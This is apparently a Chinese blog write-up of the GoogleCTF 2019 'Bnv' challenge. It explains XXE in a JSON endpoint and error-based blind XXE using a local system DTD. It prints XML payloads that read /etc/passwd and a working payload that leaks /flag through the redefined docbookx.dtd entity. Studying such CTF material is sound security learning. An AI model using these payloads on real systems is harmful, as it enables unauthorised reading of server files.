[GoogleCTF2019 Quals]Bnv

/ 0评 / 0

XXE新知识
当Web应用采用JSON进行数据传输时,可能存在XXE漏洞。
 
抓包发现包类是以JSON发送的
联想到json转换为xxe进行文件读取,修改HTTP头Content-type的值为application/xml,重放数据包之后发现报不解析错误
确认存在
把json转换为xxe格式,发现报错说缺少DTD
百度后发现一篇文章:使用本地DTD文件来利用XXE漏洞实现任意结果输出
ubuntu系统自带/usr/share/yelp/dtd/docbookx.dtd文件
Blind XXE 需要使用到DTD约束自定义实体中的参数实体。参数实体是只能在DTD中定义和使用的实体,以 % 为标志定义,定义和使用方法如下

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY b "hello">  //内部普通实体
    <!ENTITY b SYSTEM "http://xml.org/hhh.dtd"> //外部普通实体
    <!ENTITY % para SYSTEM "file:///1234.dtd"> //外部参数实体
    %para;
]>
<c>&b;</c>

而且参数实体还能嵌套定义,但需要注意的是,内层的定义的参数实体 % 需要进行HTML转义,否则会出现解析错误

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY % para '<!ENTITY % files SYSTEM "file:///etc/passwd">'>
]>

最终payload:

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY % file SYSTEM "file:///flag">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'test%file;'>">
        %eval;
        %error;
    '>
    %local_dtd;
]>

参考:http://yugod.xmutsec.com/index.php/2019/07/14/50.html

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注